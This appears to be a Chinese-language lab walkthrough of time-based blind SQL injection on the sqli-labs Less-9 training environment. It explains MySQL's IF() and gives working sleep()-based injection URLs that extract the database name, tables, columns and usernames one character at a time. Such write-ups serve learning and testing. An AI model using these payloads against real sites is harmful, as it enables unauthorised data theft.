一、知识铺垫
sql中的if表达式:
语法:IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2
expr1 的值为FALSE,则返回值为 expr3
SELECT IF(TRUE,1+1,1+2);
-> 2
SELECT IF(FALSE,1+1,1+2);
-> 3
SELECT IF(STRCMP("111","222"),"不相等","相等");
-> 不相等
二、时间盲注复现
1、测试注入点
测试发现sleep被带入数据库中执行。
http://localhost/sqli-labs/Less-9?id=1' and sleep(5) -- +
发现明显延迟,证明是时间盲注,然后就可以构造我们的payload
?id=1' and if(substr(database(),1,1)=‘s’,sleep(5),null) -- +
通过一个if语句让数据库名称的第一个字符与e进行比较,如果一样就会暂停五秒,如果不等于就为假不暂停。然后就慢慢进行尝试
2、爆表名
http://localhost/sqli-labs/Less-9?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) -- +
3、爆列名
http://localhost/sqli-labs/Less-9?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i',sleep(5),1) -- +
4、爆内容
http://localhost/sqli-labs/Less-9?id=1' and if(substr((select username from users limit 0,1),1,1)='D' ,sleep(5),1) -- +
也可以通过python脚本批量测试,根据页面的响应时长判断sql是否执行。
第十关也是时间盲注把单引号换成双引号即可。
参考文章: